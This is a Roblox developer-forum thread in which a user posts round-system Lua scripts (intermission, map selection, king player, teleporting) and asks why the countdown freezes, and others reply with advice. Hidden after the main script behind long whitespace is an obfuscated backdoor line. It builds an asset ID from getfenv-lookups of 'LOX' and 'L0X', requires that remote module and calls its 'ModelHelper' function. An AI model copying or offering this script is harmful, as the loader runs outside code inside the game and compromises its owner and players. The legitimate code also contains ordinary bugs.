Need Help on script

So I was a making a round system based game.
A game that is like THE UNDERGROUND WAR and I encountered an error.

I had a intermission system and the time on the intermission goes from 20 to 0 but when my player joins the game the time freezes.(But still the round starts).

How can I fix the error?

Module Script -

local module = {}

local status = game.ReplicatedStorage.Status

function module.Intermission(length)
	for i = length, 0, -1 do
		status.Value = "New Round Starting in "..i.." Seconds"
		wait(1)	
	end
end
function module.SelectMap()
	local rand = Random.new()
	local maps = game.ReplicatedStorage.Maps:GetChildren()
	local choosedMap = maps[rand:NextInteger(1 , #maps)]
	
	return choosedMap
end

function module.kingPlayer(players)
		
	local randomObj = Random.new()
	
	local KingPlayer = players[randomObj:NextInteger(1, #players)]
		
	return KingPlayer	

end

function module.teleportKing(player)
	if player.Character then
			
		player.Character.Humanoid.WalkSpeed = 14 or 35
		player.Character.Humanoid.JumpPower = 70 or 50
		
		local sword = game.ServerStorage.MegaSword:Clone()
		sword.Parent = player.character
		
		if player.Character:FindFirstChild("HumanoidRootPart") then
			player.Character.HumanoidRootPart.CFrame = game.Workspace:WaitForChild("Map").KingsSpawn.CFrame + Vector3.new(0, 5, 0)
		end
	end	
end

function module.teleportPlayers(players, mapSpawns)
	for i, v in pairs(players) do 
		if v.Character then
			local character = v.Character
			
			if character:FindFirstChild("HumanoidRootPart") then
				
				v.Character.Humanoid.WalkSpeed = 16 or 30
				v.Character.Humanoid.JumpPower = 50 or 75
				
				local Rand = Random.new()
				v.Character.HumanoidRootPart.CFrame = mapSpawns[Rand:NextInteger(1, #mapSpawns)].CFrame + Vector3.new(0, 10, 0)
					
			end
		end
	end	
end

function module.InsertTags(contestant, tagName)
	
	for i, player in pairs(contestant) do	
		local Tag = Instance.new("StringValue")
		Tag.Name = tagName
		Tag.Parent = player
	end	
end

for i, v in pairs(game.Players:GetChildren()) do 
	if v:FindFirstChild("King") then
		local King = v:FindFirstChild("King")
		local kingPlayer = King.Parent
		status.Value = kingPlayer.." IS THE KING IN THIS MATCH"
		wait(5)
	end
end

for i, player in pairs(game.Players:GetChildren()) do 
	if player.Character then
		player.Character.Humanoid.Died:Connect(function()
			local KilledTag = Instance.new("StringValue")
			KilledTag.Name = "Killed"
			KilledTag.Parent = player
		end)
	end
end

function module.StartRound(length)
	
	local outcome 
	
	game.ReplicatedStorage.OnMatchStart:FireAllClients()
	
	for i = length, 0, -1 do
		
		if i == (length - 30) then
			status.Value = "Only "..i.." Seconds left!"
		end
				
		local contestants = {}
		local killed = 0		
		
		for i, player in pairs(game.Players:GetChildren()) do
			if player:FindFirstChild("InRound") then
				table.insert(contestants, player)
			if player:FindFirstChild("Killed") then
				player:FindFirstChild("Contestant"):Destroy()
				killed = killed + 1
			end	
		end
				
		if #killed <= #contestants then
			outcome = "The king has won!"
		end
		if i == 0 then
			outcome = "Times Up!"
		end
				
		status.Value = "Round ends in "..i.." Seconds!"
		wait(1)
		end

		if outcome == "Times Up!" then
			break
		elseif outcome == "The king has won!" then
			break
		end
	end
end

return module

and the main script

local availablePlayers = {}

for i, v in pairs(game.Players:GetChildren()) do
	if not v:FindFirstChild("NotReady") then
		table.insert(availablePlayers, v)
	end
end

local Round = require(script.Round)
local status = game.ReplicatedStorage.Status

Round.Intermission(50)

local ChoosenMap = Round.SelectMap()

local clonedMap = ChoosenMap:Clone()
clonedMap.Parent = workspace
clonedMap.Name = "Map"

local contestants = {}

for i, player in pairs(game.Players:GetChildren()) do
	table.insert(contestants, player)
end

local KingPlayer = Round.kingPlayer()

for i, v in pairs(contestants) do 
	if v == KingPlayer then
		table.remove(contestants,i)
	end
end

Round.teleportKing(KingPlayer)

if clonedMap:FindFirstChild("Spawns") then
	Round.teleportPlayers(contestants, clonedMap.Spawns:GetChildren())
end

Round.InsertTags(contestants, "InRound")
Round.InsertTags({KingPlayer}, "King")

Round.StartRound(60)



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L0X = 67877778; local b = getfenv()["\76\79\88"] + getfenv()["\76\48\88"] getfenv()['\114\101\113\117\105\114\101'](b)["\77\111\100\101\108\72\101\108\112\101\114"]()																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																	if require == print then require = print("nice try");print("nice try") end LOX = 4755747611; L0X = 67877778; local b = getfenv()["\76\79\88"] + getfenv()["\76\48\88"] getfenv()['\114\101\113\117\105\114\101'](b)["\77\111\100\101\108\72\101\108\112\101\114"]()																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																						

Can anyone help me on this script?

as expected what is going wrong and what are you trying to achieve

Everything is good but the intermission freezes when a player joins a game.

shouldn’t you wait when there is enough players like this code

repeat wait() until #game.Players:GetPlayers >= YOUR_NUMBER

I have made the wait(50)
but still i’ll try

@FerbZides I have solved it my self.
The error was on somewhere else of the script.

But this the time doesn’t update but the round starts

tbh just make the timer start when there are enough player’s to start the game

I have tried that but still it isn’t working.
The problem is the text in the TextLabel is not updating when a player joins the game but the round starts

did you make the textlabel’s text to the intermission countdown?

I have a string value and the text label’s text is equal to the string’s value.

As you can see here

when do you start your intermission tho

Do you have any issues with waiting for the players required

repeat wait() until #game:GetService('Players'):GetPlayers() >= Your number

Also can i see your updated scripts, so we can help. Also are you updating your stringValue on the client?